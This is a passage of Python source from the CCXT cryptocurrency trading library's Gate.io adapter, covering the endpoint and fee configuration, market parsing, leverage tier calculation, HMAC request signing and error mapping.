"1000000", # "interest_rate": "0.0003", # "order_price_round": "0.1", # "order_size_min": 1, # "ref_rebate_rate": "0.2", # "funding_interval": 28800, # "risk_limit_step": "1000000", # "leverage_min": "1", # "leverage_max": "100", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "funding_rate": "0.002053", # "order_size_max": 1000000, # "funding_next_apply": 1610035200, # "short_users": 977, # "config_change_time": 1609899548, # "trade_size": 28530850594, # "position_size": 5223816, # "long_users": 455, # "funding_impact_value": "60000", # "orders_limit": 50, # "trade_id": 10851092, # "orderbook_id": 2129638396 # } # ] # # Delivery Futures # # [ # { # "name": "BTC_USDT_20200814", # "underlying": "BTC_USDT", # "cycle": "WEEKLY", # "type": "direct", # "quanto_multiplier": "0.0001", # "mark_type": "index", # "last_price": "9017", # "mark_price": "9019", # "index_price": "9005.3", # "basis_rate": "0.185095", # "basis_value": "13.7", # "basis_impact_value": "100000", # "settle_price": "0", # "settle_price_interval": 60, # "settle_price_duration": 1800, # "settle_fee_rate": "0.0015", # "expire_time": 1593763200, # "order_price_round": "0.1", # "mark_price_round": "0.1", # "leverage_min": "1", # "leverage_max": "100", # "maintenance_rate": "1000000", # "risk_limit_base": "140.726652109199", # "risk_limit_step": "1000000", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "ref_discount_rate": "0", # "ref_rebate_rate": "0.2", # "order_price_deviate": "0.5", # "order_size_min": 1, # "order_size_max": 1000000, # "orders_limit": 50, # "orderbook_id": 63, # "trade_id": 26, # "trade_size": 435, # "position_size": 130, # "config_change_time": 1593158867, # "in_delisting": False # } # ] # return self.parse_leverage_tiers(response, symbols, 'name') def parse_market_leverage_tiers(self, info, market=None): """ * @ignore https://www.gate.io/help/futures/perpetual/22162/instrctions-of-risk-limit :param dict info: Exchange market response for 1 market :param dict market: CCXT market """ # # Perpetual swap # # { # "name": "BTC_USDT", # "type": "direct", # "quanto_multiplier": "0.0001", # "ref_discount_rate": "0", # "order_price_deviate": "0.5", # "maintenance_rate": "0.005", # "mark_type": "index", # "last_price": "38026", # "mark_price": "37985.6", # "index_price": "37954.92", # "funding_rate_indicative": "0.000219", # "mark_price_round": "0.01", # "funding_offset": 0, # "in_delisting": False, # "risk_limit_base": "1000000", # "interest_rate": "0.0003", # "order_price_round": "0.1", # "order_size_min": 1, # "ref_rebate_rate": "0.2", # "funding_interval": 28800, # "risk_limit_step": "1000000", # "leverage_min": "1", # "leverage_max": "100", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "funding_rate": "0.002053", # "order_size_max": 1000000, # "funding_next_apply": 1610035200, # "short_users": 977, # "config_change_time": 1609899548, # "trade_size": 28530850594, # "position_size": 5223816, # "long_users": 455, # "funding_impact_value": "60000", # "orders_limit": 50, # "trade_id": 10851092, # "orderbook_id": 2129638396 # } # # Delivery Futures # # { # "name": "BTC_USDT_20200814", # "underlying": "BTC_USDT", # "cycle": "WEEKLY", # "type": "direct", # "quanto_multiplier": "0.0001", # "mark_type": "index", # "last_price": "9017", # "mark_price": "9019", # "index_price": "9005.3", # "basis_rate": "0.185095", # "basis_value": "13.7", # "basis_impact_value": "100000", # "settle_price": "0", # "settle_price_interval": 60, # "settle_price_duration": 1800, # "settle_fee_rate": "0.0015", # "expire_time": 1593763200, # "order_price_round": "0.1", # "mark_price_round": "0.1", # "leverage_min": "1", # "leverage_max": "100", # "maintenance_rate": "1000000", # "risk_limit_base": "140.726652109199", # "risk_limit_step": "1000000", # "risk_limit_max": "8000000", # "maker_fee_rate": "-0.00025", # "taker_fee_rate": "0.00075", # "ref_discount_rate": "0", # "ref_rebate_rate": "0.2", # "order_price_deviate": "0.5", # "order_size_min": 1, # "order_size_max": 1000000, # "orders_limit": 50, # "orderbook_id": 63, # "trade_id": 26, # "trade_size": 435, # "position_size": 130, # "config_change_time": 1593158867, # "in_delisting": False # } # maintenanceMarginUnit = self.safe_string(info, 'maintenance_rate') # '0.005', leverageMax = self.safe_string(info, 'leverage_max') # '100', riskLimitStep = self.safe_string(info, 'risk_limit_step') # '1000000', riskLimitMax = self.safe_string(info, 'risk_limit_max') # '16000000', initialMarginUnit = Precise.string_div('1', leverageMax) maintenanceMarginRate = maintenanceMarginUnit initialMarginRatio = initialMarginUnit floor = '0' tiers = [] while(Precise.string_lt(floor, riskLimitMax)): cap = Precise.string_add(floor, riskLimitStep) tiers.append({ 'tier': self.parse_number(Precise.string_div(cap, riskLimitStep)), 'currency': self.safe_string(market, 'settle'), 'minNotional': self.parse_number(floor), 'maxNotional': self.parse_number(cap), 'maintenanceMarginRate': self.parse_number(maintenanceMarginRate), 'maxLeverage': self.parse_number(Precise.string_div('1', initialMarginRatio)), 'info': info, }) maintenanceMarginRate = Precise.string_add(maintenanceMarginRate, maintenanceMarginUnit) initialMarginRatio = Precise.string_add(initialMarginRatio, initialMarginUnit) floor = cap return tiers def sign(self, path, api=[], method='GET', params={}, headers=None, body=None): authentication = api[0] # public, private type = api[1] # spot, margin, future, delivery query = self.omit(params, self.extract_params(path)) path = self.implode_params(path, params) endPart = '' if (path == '') else ('/' + path) entirePath = '/' + type + endPart url = self.urls['api'][authentication][type] if url is None: raise NotSupported(self.id + ' does not have a testnet for the ' + type + ' market type.') url += entirePath if authentication == 'public': if query: url += '?' + self.urlencode(query) else: queryString = '' if (method == 'GET') or (method == 'DELETE'): if query: queryString = self.urlencode(query) url += '?' + queryString else: urlQueryParams = self.safe_value(query, 'query', {}) if urlQueryParams: queryString = self.urlencode(urlQueryParams) url += '?' + queryString query = self.omit(query, 'query') body = self.json(query) bodyPayload = '' if (body is None) else body bodySignature = self.hash(self.encode(bodyPayload), 'sha512') timestamp = self.seconds() timestampString = str(timestamp) signaturePath = '/api/' + self.version + entirePath payloadArray = [method.upper(), signaturePath, queryString, bodySignature, timestampString] # eslint-disable-next-line quotes payload = "\n".join(payloadArray) signature = self.hmac(self.encode(payload), self.encode(self.secret), hashlib.sha512) headers = { 'KEY': self.apiKey, 'Timestamp': timestampString, 'SIGN': signature, 'Content-Type': 'application/json', } return {'url': url, 'method': method, 'body': body, 'headers': headers} def handle_errors(self, code, reason, url, method, headers, body, response, requestHeaders, requestBody): if response is None: return # # {"label": "ORDER_NOT_FOUND", "message": "Order not found"} # {"label": "INVALID_PARAM_VALUE", "message": "invalid argument: status"} # {"label": "INVALID_PARAM_VALUE", "message": "invalid argument: Trigger.rule"} # {"label": "INVALID_PARAM_VALUE", "message": "invalid argument: trigger.expiration invalid range"} # {"label": "INVALID_ARGUMENT", "detail": "invalid size"} # label = self.safe_string(response, 'label') if label is not None: feedback = self.id + ' ' + body self.throw_exactly_matched_exception(self.exceptions['exact'], label, feedback) raise ExchangeError(feedback)

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rt.base.exchange import Exchange import hashlib from ccxt.base.errors import ExchangeError from ccxt.base.errors import AuthenticationError from ccxt.base.errors import PermissionDenied from ccxt.base.errors import AccountNotEnabled from ccxt.base.errors import AccountSuspended from ccxt.base.errors import ArgumentsRequired from ccxt.base.errors import BadRequest from ccxt.base.errors import BadSymbol from ccxt.base.errors import InsufficientFunds from ccxt.base.errors import InvalidOrder from ccxt.base.errors import OrderNotFound from ccxt.base.errors import NotSupported from ccxt.base.errors import RateLimitExceeded from ccxt.base.errors import ExchangeNotAvailable from ccxt.base.decimal_to_precision import TICK_SIZE from ccxt.base.precise import Precise class gateio(Exchange): def describe(self): return self.deep_extend(super(gateio, self).describe(), { 'id': 'gateio', 'name': 'Gate.io', 'countries': ['KR'], 'rateLimit': 10 / 3, 'version': 'v4', 'certified': True, 'pro': True, 'urls': { 'logo': 'https://user-images.githubusercontent.com/1294454/31784029-0313c702-b509-11e7-9ccc-bc0da6a0e435.jpg', 'doc': 'https://www.gate.io/docs/apiv4/en/index.html', 'www': 'https://gate.io/', 'api': { 'public': { 'wallet': 'https://api.gateio.ws/api/v4', 'futures': 'https://api.gateio.ws/api/v4', 'margin': 'https://api.gateio.ws/api/v4', 'delivery': 'https://api.gateio.ws/api/v4', 'spot': 'https://api.gateio.ws/api/v4', 'options': 'https://api.gateio.ws/api/v4', }, 'private': { 'withdrawals': 'https://api.gateio.ws/api/v4', 'wallet': 'https://api.gateio.ws/api/v4', 'futures': 'https://api.gateio.ws/api/v4', 'margin': 'https://api.gateio.ws/api/v4', 'delivery': 'https://api.gateio.ws/api/v4', 'spot': 'https://api.gateio.ws/api/v4', 'options': 'https://api.gateio.ws/api/v4', }, }, 'test': { 'public': { 'futures': 'https://fx-api-testnet.gateio.ws/api/v4', 'delivery': 'https://fx-api-testnet.gateio.ws/api/v4', }, 'private': { 'futures': 'https://fx-api-testnet.gateio.ws/api/v4', 'delivery': 'https://fx-api-testnet.gateio.ws/api/v4', }, }, 'referral': { 'url': 'https://www.gate.io/ref/2436035', 'discount': 0.2, }, }, 'has': { 'CORS': None, 'spot': True, 'margin': True, 'swap': True, 'future': True, 'option': None, 'cancelAllOrders': True, 'cancelOrder': True, 'createMarketOrder': False, 'createOrder': True, 'createPostOnlyOrder': True, 'createStopLimitOrder': True, 'createStopMarketOrder': False, 'createStopOrder': True, 'fetchBalance': True, 'fetchBorrowRate': False, 'fetchBorrowRateHistories': False, 'fetchBorrowRateHistory': False, 'fetchBorrowRates': False, 'fetchClosedOrders': True, 'fetchCurrencies': True, 'fetchDepositAddress': True, 'fetchDeposits': True, 'fetchFundingHistory': True, 'fetchFundingRate': True, 'fetchFundingRateHistory': True, 'fetchFundingRates': True, 'fetchIndexOHLCV': True, 'fetchLeverage': False, 'fetchLeverageTiers': True, 'fetchMarketLeverageTiers': 'emulated', 'fetchMarkets': True, 'fetchMarkOHLCV': True, 'fetchMyTrades': True, 'fetchNetworkDepositAddress': True, 'fetchOHLCV': True, 'fetchOpenOrders': True, 'fetchOrder': True, 'fetchOrderBook': True, 'fetchPositions': True, 'fetchPremiumIndexOHLCV': False, 'fetchTicker': True, 'fetchTickers': True, 'fetchTime': False, 'fetchTrades': True, 'fetchTradingFee': True, 'fetchTradingFees': True, 'fetchTransactionFees': True, 'fetchWithdrawals': True, 'setLeverage': True, 'setMarginMode': False, 'transfer': True, 'withdraw': True, }, 'api': { 'public': { 'wallet': { 'get': { 'wallet/currency_chains': 1.5, }, }, 'spot': { 'get': { 'currencies': 1, 'currencies/{currency}': 1, 'currency_pairs': 1, 'currency_pairs/{currency_pair}': 1, 'tickers': 1, 'order_book': 1, 'trades': 1, 'candlesticks': 1, }, }, 'margin': { 'get': { 'currency_pairs': 1, 'currency_pairs/{currency_pair}': 1, 'cross/currencies': 1, 'cross/currencies/{currency}': 1, 'funding_book': 1, }, }, 'futures': { 'get': { '{settle}/contracts': 1.5, '{settle}/contracts/{contract}': 1.5, '{settle}/order_book': 1.5, '{settle}/trades': 1.5, '{settle}/candlesticks': 1.5, '{settle}/tickers': 1.5, '{settle}/funding_rate': 1.5, '{settle}/insurance': 1.5, '{settle}/contract_stats': 1.5, '{settle}/liq_orders': 1.5, }, }, 'delivery': { 'get': { '{settle}/contracts': 1.5, '{settle}/contracts/{contract}': 1.5, '{settle}/order_book': 1.5, '{settle}/trades': 1.5, '{settle}/candlesticks': 1.5, '{settle}/tickers': 1.5, '{settle}/insurance': 1.5, }, }, 'options': { 'get': { 'underlyings': 1.5, 'expirations': 1.5, 'contracts': 1.5, 'contracts/{contract}': 1.5, 'settlements': 1.5, 'settlements/{contract}': 1.5, 'order_book': 1.5, 'tickers': 1.5, 'underlying/tickers/{underlying}': 1.5, 'candlesticks': 1.5, 'underlying/candlesticks': 1.5, 'trades': 1.5, }, }, }, 'private': { 'withdrawals': { 'post': { '': 3000, }, 'delete': { '{withdrawal_id}': 300, }, }, 'wallet': { 'get': { 'deposit_address': 300, 'withdrawals': 300, 'deposits': 300, 'sub_account_transfers': 300, 'withdraw_status': 300, 'sub_account_balances': 300, 'fee': 300, 'total_balance': 300, }, 'post': { 'transfers': 300, 'sub_account_transfers': 300, }, }, 'spot': { 'get': { 'accounts': 1, 'open_orders': 1, 'orders': 1, 'orders/{order_id}': 1, 'my_trades': 1, 'price_orders': 1, 'price_orders/{order_id}': 1, }, 'post': { 'batch_orders': 1, 'orders': 1, 'cancel_batch_orders': 1, 'price_orders': 1, }, 'delete': { 'orders': 1, 'orders/{order_id}': 1, 'price_orders': 1, 'price_orders/{order_id}': 1, }, }, 'margin': { 'get': { 'accounts': 1.5, 'account_book': 1.5, 'funding_accounts': 1.5, 'loans': 1.5, 'loans/{loan_id}': 1.5, 'loans/{loan_id}/repayment': 1.5, 'loan_records': 1.5, 'loan_records/{load_record_id}': 1.5, 'auto_repay': 1.5, 'transferable': 1.5, 'cross/accounts': 1.5, 'cross/account_book': 1.5, 'cross/loans': 1.5, 'cross/loans/{loan_id}': 1.5, 'cross/loans/repayments': 1.5, 'cross/transferable': 1.5, 'loan_records/{loan_record_id}': 1.5, 'borrowable': 1.5, 'cross/repayments': 1.5, 'cross/borrowable': 1.5, }, 'post': { 'loans': 1.5, 'merged_loans': 1.5, 'loans/{loan_id}/repayment': 1.5, 'auto_repay': 1.5, 'cross/loans': 1.5, 'cross/loans/repayments': 1.5, 'cross/repayments': 1.5, }, 'patch': { 'loans/{loan_id}': 1.5, 'loan_records/{loan_record_id}': 1.5, }, 'delete': { 'loans/{loan_id}': 1.5, }, }, 'futures': { 'get': { '{settle}/accounts': 1.5, '{settle}/account_book': 1.5, '{settle}/positions': 1.5, '{settle}/positions/{contract}': 1.5, '{settle}/orders': 1.5, '{settle}/orders/{order_id}': 1.5, '{settle}/my_trades': 1.5, '{settle}/position_close': 1.5, '{settle}/liquidates': 1.5, '{settle}/price_orders': 1.5, '{settle}/price_orders/{order_id}': 1.5, '{settle}/dual_comp/positions/{contract}': 1.5, }, 'post': { '{settle}/positions/{contract}/margin': 1.5, '{settle}/positions/{contract}/leverage': 1.5, '{settle}/positions/{contract}/risk_limit': 1.5, '{settle}/dual_mode': 1.5, '{settle}/dual_comp/positions/{contract}': 1.5, '{settle}/dual_comp/positions/{contract}/margin': 1.5, '{settle}/dual_comp/positions/{contract}/leverage': 1.5, '{settle}/dual_comp/positions/{contract}/risk_limit': 1.5, '{settle}/orders': 1.5, '{settle}/price_orders': 1.5, }, 'delete': { '{settle}/orders': 1.5, '{settle}/orders/{order_id}': 1.5, '{settle}/price_orders': 1.5, '{settle}/price_orders/{order_id}': 1.5, }, }, 'delivery': { 'get': { '{settle}/accounts': 1.5, '{settle}/account_book': 1.5, '{settle}/positions': 1.5, '{settle}/positions/{contract}': 1.5, '{settle}/orders': 1.5, '{settle}/orders/{order_id}': 1.5, '{settle}/my_trades': 1.5, '{settle}/position_close': 1.5, '{settle}/liquidates': 1.5, '{settle}/price_orders': 1.5, '{settle}/price_orders/{order_id}': 1.5, '{settle}/settlements': 1.5, }, 'post': { '{settle}/positions/{contract}/margin': 1.5, '{settle}/positions/{contract}/leverage': 1.5, '{settle}/positions/{contract}/risk_limit': 1.5, '{settle}/orders': 1.5, '{settle}/price_orders': 1.5, }, 'delete': { '{settle}/orders': 1.5, '{settle}/orders/{order_id}': 1.5, '{settle}/price_orders': 1.5, '{settle}/price_orders/{order_id}': 1.5, }, }, 'options': { 'get': { 'accounts': 1.5, 'account_book': 1.5, 'positions': 1.5, 'positions/{contract}': 1.5, 'position_close': 1.5, 'orders': 1.5, 'orders/{order_id}': 1.5, 'my_trades': 1.5, }, 'post': { 'orders': 1.5, }, 'delete': { 'orders': 1.5, 'orders/{order_id}': 1.5, }, }, }, }, 'timeframes': { '10s': '10s', '1m': '1m', '5m': '5m', '15m': '15m', '30m': '30m', '1h': '1h', '4h': '4h', '8h': '8h', '1d': '1d', '7d': '7d', '1w': '7d', }, 'commonCurrencies': { '88MPH': 'MPH', 'AXIS': 'Axis DeFi', 'BIFI': 'Bitcoin File', 'BOX': 'DefiBox', 'BTCBEAR': 'BEAR', 'BTCBULL': 'BULL', 'BYN': 'BeyondFi', 'EGG': 'Goose Finance', 'GTC': 'Game.com', 'GTC_HT': 'Game.com HT', 'GTC_BSC': 'Game.com BSC', 'HIT': 'HitChain', 'MM': 'Million', 'MPH': 'Morpher', 'RAI': 'Rai Reflex Index', 'SBTC': 'Super Bitcoin', 'TNC': 'Trinity Network Credit', 'TON': 'TONToken', 'VAI': 'VAIOT', }, 'requiredCredentials': { 'apiKey': True, 'secret': True, }, 'headers': { 'X-Gate-Channel-Id': 'ccxt', }, 'options': { 'createOrder': { 'expiration': 86400, }, 'networks': { 'TRC20': 'TRX', 'ERC20': 'ETH', 'BEP20': 'BSC', }, 'accountsByType': { 'funding': 'spot', 'spot': 'spot', 'margin': 'margin', 'cross_margin': 'cross_margin', 'cross': 'cross_margin', 'isolated': 'margin', 'swap': 'futures', 'future': 'delivery', 'futures': 'futures', 'delivery': 'delivery', }, 'defaultType': 'spot', 'swap': { 'fetchMarkets': { 'settlementCurrencies': ['usdt', 'btc'], }, }, 'future': { 'fetchMarkets': { 'settlementCurrencies': ['usdt', 'btc'], }, }, }, 'precisionMode': TICK_SIZE, 'fees': { 'trading': { 'tierBased': True, 'feeSide': 'get', 'percentage': True, 'maker': self.parse_number('0.002'), 'taker': self.parse_number('0.002'), 'tiers': { 'maker': [ [self.parse_number('0'), self.parse_number('0.002')], [self.parse_number('1.5'), self.parse_number('0.00185')], [self.parse_number('3'), self.parse_number('0.00175')], [self.parse_number('6'), self.parse_number('0.00165')], [self.parse_number('12.5'), self.parse_number('0.00155')], [self.parse_number('25'), self.parse_number('0.00145')], [self.parse_number('75'), self.parse_number('0.00135')], [self.parse_number('200'), self.parse_number('0.00125')], [self.parse_number('500'), self.parse_number('0.00115')], [self.parse_number('1250'), self.parse_number('0.00105')], [self.parse_number('2500'), self.parse_number('0.00095')], [self.parse_number('3000'), self.parse_number('0.00085')], [self.parse_number('6000'), self.parse_number('0.00075')], [self.parse_number('11000'), self.parse_number('0.00065')], [self.parse_number('20000'), self.parse_number('0.00055')], [self.parse_number('40000'), self.parse_number('0.00055')], [self.parse_number('75000'), self.parse_number('0.00055')], ], 'taker': [ [self.parse_number('0'), self.parse_number('0.002')], [self.parse_number('1.5'), self.parse_number('0.00195')], [self.parse_number('3'), self.parse_number('0.00185')], [self.parse_number('6'), self.parse_number('0.00175')], [self.parse_number('12.5'), self.parse_number('0.00165')], [self.parse_number('25'), self.parse_number('0.00155')], [self.parse_number('75'), self.parse_number('0.00145')], [self.parse_number('200'), self.parse_number('0.00135')], [self.parse_number('500'), self.parse_number('0.00125')], [self.parse_number('1250'), self.parse_number('0.00115')], [self.parse_number('2500'), self.parse_number('0.00105')], [self.parse_number('3000'), self.parse_number('0.00095')], [self.parse_number('6000'), self.parse_number('0.00085')], [self.parse_number('11000'), self.parse_number('0.00075')], [self.parse_number('20000'), self.parse_number('0.00065')], [self.parse_number('40000'), self.parse_number('0.00065')], [self.parse_number('75000'), self.parse_number('0.00065')], ], }, }, 'swap': { 'tierBased': True, 'feeSide': 'base', 'percentage': True, 'maker': self.parse_number('0.0'), 'taker': self.parse_number('0.0005'), 'tiers': { 'maker': [ [self.parse_number('0'), self.parse_number('0.0000')], [self.parse_number('1.5'), self.parse_number('-0.00005')], [self.parse_number('3'), self.parse_number('-0.00005')], [self.parse_number('6'), self.parse_number('-0.00005')], [self.parse_number('12.5'), self.parse_number('-0.00005')], [self.parse_number('25'), self.parse_number('-0.00005')], [self.parse_number('75'), self.parse_number('-0.00005')], [self.parse_number('200'), self.parse_number('-0.00005')], [self.parse_number('500'), self.parse_number('-0.00005')], [self.parse_number('1250'), self.parse_number('-0.00005')], [self.parse_number('2500'), self.parse_number('-0.00005')], [self.parse_number('3000'), self.parse_number('-0.00008')], [self.parse_number('6000'), self.parse_number('-0.01000')], [self.parse_number('11000'), self.parse_number('-0.01002')], [self.parse_number('20000'), self.parse_number('-0.01005')], [self.parse_number('40000'), self.parse_number('-0.02000')], [self.parse_number('75000'), self.parse_number('-0.02005')], ], 'taker': [ [self.parse_number('0'), self.parse_number('0.00050')], [self.parse_number('1.5'), self.parse_number('0.00048')], [self.parse_number('3'), self.parse_number('0.00046')], [self.parse_number('6'), self.parse_number('0.00044')], [self.parse_number('12.5'), self.parse_number('0.00042')], [self.parse_number('25'), self.parse_number('0.00040')], [self.parse_number('75'), self.parse_number('0.00038')], [self.parse_number('200'), self.parse_number('0.00036')], [self.parse_number('500'), self.parse_number('0.00034')], [self.parse_number('1250'), self.parse_number('0.00032')], [self.parse_number('2500'), self.parse_number('0.00030')], [self.parse_number('3000'), self.parse_number('0.00030')], [self.parse_number('6000'), self.parse_number('0.00030')], [self.parse_number('11000'), self.parse_number('0.00030')], [self.parse_number('20000'), self.parse_number('0.00030')], [self.parse_number('40000'), self.parse_number('0.00030')], [self.parse_number('75000'), self.parse_number('0.00030')], ], }, }, }, 'exceptions': { 'exact': { 'INVALID_PARAM_VALUE': BadRequest, 'INVALID_PROTOCOL': BadRequest, 'INVALID_ARGUMENT': BadRequest, 'INVALID_REQUEST_BODY': BadRequest, 'MISSING_REQUIRED_PARAM': ArgumentsRequired, 'BAD_REQUEST': BadRequest, 'INVALID_CONTENT_TYPE': BadRequest, 'NOT_ACCEPTABLE': BadRequest, 'METHOD_NOT_ALLOWED': BadRequest, 'NOT_FOUND': ExchangeError, 'INVALID_CREDENTIALS': AuthenticationError, 'INVALID_KEY': AuthenticationError, 'IP_FORBIDDEN': AuthenticationError, 'READ_ONLY': PermissionDenied, 'INVALID_SIGNATURE': AuthenticationError, 'MISSING_REQUIRED_HEADER': AuthenticationError, 'REQUEST_EXPIRED': AuthenticationError, 'ACCOUNT_LOCKED': AccountSuspended, 'FORBIDDEN': PermissionDenied, 'SUB_ACCOUNT_NOT_FOUND': ExchangeError, 'SUB_ACCOUNT_LOCKED': AccountSuspended, 'MARGIN_BALANCE_EXCEPTION': ExchangeError, 'MARGIN_TRANSFER_FAILED': ExchangeError, 'TOO_MUCH_FUTURES_AVAILABLE': ExchangeError, 'FUTURES_BALANCE_NOT_ENOUGH': InsufficientFunds, 'ACCOUNT_EXCEPTION': ExchangeError, 'SUB_ACCOUNT_TRANSFER_FAILED': ExchangeError, 'ADDRESS_NOT_USED': ExchangeError, 'TOO_FAST': RateLimitExceeded, 'WITHDRAWAL_OVER_LIMIT': ExchangeError, 'API_WITHDRAW_DISABLED': ExchangeNotAvailable, 'INVALID_WITHDRAW_ID': ExchangeError, 'INVALID_WITHDRAW_CANCEL_STATUS': ExchangeError, 'INVALID_PRECISION': InvalidOrder, 'INVALID_CURRENCY': BadSymbol, 'INVALID_CURRENCY_PAIR': BadSymbol, 'POC_FILL_IMMEDIATELY': ExchangeError, 'ORDER_NOT_FOUND': OrderNotFound, 'CLIENT_ID_NOT_FOUND': OrderNotFound, 'ORDER_CLOSED': InvalidOrder, 'ORDER_CANCELLED': InvalidOrder, 'QUANTITY_NOT_ENOUGH': InvalidOrder, 'BALANCE_NOT_ENOUGH': InsufficientFunds, 'MARGIN_NOT_SUPPORTED': InvalidOrder, 'MARGIN_BALANCE_NOT_ENOUGH': InsufficientFunds, 'AMOUNT_TOO_LITTLE': InvalidOrder, 'AMOUNT_TOO_MUCH': InvalidOrder, 'REPEATED_CREATION': InvalidOrder, 'LOAN_NOT_FOUND': OrderNotFound, 'LOAN_RECORD_NOT_FOUND': OrderNotFound, 'NO_MATCHED_LOAN': ExchangeError, 'NOT_MERGEABLE': ExchangeError, 'NO_CHANGE': ExchangeError, 'REPAY_TOO_MUCH': ExchangeError, 'TOO_MANY_CURRENCY_PAIRS': InvalidOrder, 'TOO_MANY_ORDERS': InvalidOrder, 'MIXED_ACCOUNT_TYPE': InvalidOrder, 'AUTO_BORROW_TOO_MUCH': ExchangeError, 'TRADE_RESTRICTED': InsufficientFunds, 'USER_NOT_FOUND': AccountNotEnabled, 'CONTRACT_NO_COUNTER': ExchangeError, 'CONTRACT_NOT_FOUND': BadSymbol, 'RISK_LIMIT_EXCEEDED': ExchangeError, 'INSUFFICIENT_AVAILABLE': InsufficientFunds, 'LIQUIDATE_IMMEDIATELY': InvalidOrder, 'LEVERAGE_TOO_HIGH': InvalidOrder, 'LEVERAGE_TOO_LOW': InvalidOrder, 'ORDER_NOT_OWNED': ExchangeError, 'ORDER_FINISHED': ExchangeError, 'POSITION_CROSS_MARGIN': ExchangeError, 'POSITION_IN_LIQUIDATION': ExchangeError, 'POSITION_IN_CLOSE': ExchangeError, 'POSITION_EMPTY': InvalidOrder, 'REMOVE_TOO_MUCH': ExchangeError, 'RISK_LIMIT_NOT_MULTIPLE': ExchangeError, 'RISK_LIMIT_TOO_HIGH': ExchangeError, 'RISK_LIMIT_TOO_lOW': ExchangeError, 'PRICE_TOO_DEVIATED': InvalidOrder, 'SIZE_TOO_LARGE': InvalidOrder, 'SIZE_TOO_SMALL': InvalidOrder, 'PRICE_OVER_LIQUIDATION': InvalidOrder, 'PRICE_OVER_BANKRUPT': InvalidOrder, 'ORDER_POC_IMMEDIATE': InvalidOrder, 'INCREASE_POSITION': InvalidOrder, 'CONTRACT_IN_DELISTING': ExchangeError, 'INTERNAL': ExchangeNotAvailable, 'SERVER_ERROR': ExchangeNotAvailable, 'TOO_BUSY': ExchangeNotAvailable, 'CROSS_ACCOUNT_NOT_FOUND': ExchangeError, }, }, 'broad': {}, }) async def fetch_markets(self, params={}): result = [] type, query = self.handle_market_type_and_params('fetchMarkets', None, params) if type == 'spot' or type == 'margin': result = await self.fetch_spot_markets(query) if type == 'swap' or type == 'future': result = await self.fetch_contract_markets(query) if type == 'option': result = await self.fetch_option_markets(query) resultLength = len(result) if resultLength == 0: raise ExchangeError(self.id + " does not support '" + type + "' type, set exchange.options['defaultType'] to " + "'spot', 'margin', 'swap', 'future' or 'option'") return result async def fetch_spot_markets(self, params): marginResponse = await self.publicMarginGetCurrencyPairs(params) spotMarketsResponse = await self.publicSpotGetCurrencyPairs(params) marginMarkets = self.index_by(marginResponse, 'id') result = [] for i in range(0, len(spotMarketsResponse)): spotMarket = spotMarketsResponse[i] id = self.safe_string(spotMarket, 'id') marginMarket = self.safe_value(marginMarkets, id) market = self.deep_extend(marginMarket, spotMarket) baseId, quoteId = id.split('_') base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) takerPercent = self.safe_string(market, 'fee') makerPercent = self.safe_string(market, 'maker_fee_rate', takerPercent) amountPrecisionString = self.safe_string(market, 'amount_precision') pricePrecisionString = self.safe_string(market, 'precision') tradeStatus = self.safe_string(market, 'trade_status') leverage = self.safe_number(market, 'leverage') defaultMinAmountLimit = self.parse_number(self.parse_precision(amountPrecisionString)) margin = leverage is not None result.append({ 'id': id, 'symbol': base + '/' + quote, 'base': base, 'quote': quote, 'settle': None, 'baseId': baseId, 'quoteId': quoteId, 'settleId': None, 'type': 'spot', 'spot': True, 'margin': margin, 'swap': False, 'future': False, 'option': False, 'active': (tradeStatus == 'tradable'), 'contract': False, 'linear': None, 'inverse': None, 'taker': self.parse_number(Precise.string_div(takerPercent, '100')), 'maker': self.parse_number(Precise.string_div(makerPercent, '100')), 'contractSize': None, 'expiry': None, 'expiryDatetime': None, 'strike': None, 'optionType': None, 'precision': { 'amount': self.parse_number(self.parse_precision(amountPrecisionString)), 'price': self.parse_number(self.parse_precision(pricePrecisionString)), }, 'limits': { 'leverage': { 'min': self.parse_number('1'), 'max': self.safe_number(market, 'leverage', 1), }, 'amount': { 'min': self.safe_number(spotMarket, 'min_base_amount', defaultMinAmountLimit), 'max': None, }, 'price': { 'min': None, 'max': None, }, 'cost': { 'min': self.safe_number(market, 'min_quote_amount'), 'max': self.safe_number(market, 'max_quote_amount'), }, }, 'info': market, }) return result async def fetch_contract_markets(self, params): result = [] swapSettlementCurrencies = self.get_settlement_currencies('swap', 'fetchMarkets') futureSettlementCurrencies = self.get_settlement_currencies('future', 'fetchMarkets') for c in range(0, len(swapSettlementCurrencies)): settleId = swapSettlementCurrencies[c] query = params query['settle'] = settleId response = await self.publicFuturesGetSettleContracts(query) for i in range(0, len(response)): parsedMarket = self.parse_contract_market(response[i], settleId) result.append(parsedMarket) for c in range(0, len(futureSettlementCurrencies)): settleId = futureSettlementCurrencies[c] query = params query['settle'] = settleId response = await self.publicDeliveryGetSettleContracts(query) for i in range(0, len(response)): parsedMarket = self.parse_contract_market(response[i], settleId) result.append(parsedMarket) return result def parse_contract_market(self, market, settleId): id = self.safe_string(market, 'name') parts = id.split('_') baseId = self.safe_string(parts, 0) quoteId = self.safe_string(parts, 1) date = self.safe_string(parts, 2) base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) settle = self.safe_currency_code(settleId) expiry = self.safe_timestamp(market, 'expire_time') symbol = '' marketType = 'swap' if date is not None: symbol = base + '/' + quote + ':' + settle + '-' + self.yymmdd(expiry, '') marketType = 'future' else: symbol = base + '/' + quote + ':' + settle priceDeviate = self.safe_string(market, 'order_price_deviate') markPrice = self.safe_string(market, 'mark_price') minMultiplier = Precise.string_sub('1', priceDeviate) maxMultiplier = Precise.string_add('1', priceDeviate) minPrice = Precise.string_mul(minMultiplier, markPrice) maxPrice = Precise.string_mul(maxMultiplier, markPrice) takerPercent = self.safe_string(market, 'taker_fee_rate') makerPercent = self.safe_string(market, 'maker_fee_rate', takerPercent) isLinear = quote == settle return { 'id': id, 'symbol': symbol, 'base': base, 'quote': quote, 'settle': settle, 'baseId': baseId, 'quoteId': quoteId, 'settleId': settleId, 'type': marketType, 'spot': False, 'margin': False, 'swap': marketType == 'swap', 'future': marketType == 'future', 'option': marketType == 'option', 'active': True, 'contract': True, 'linear': isLinear, 'inverse': not isLinear, 'taker': self.parse_number(Precise.string_div(takerPercent, '100')), 'maker': 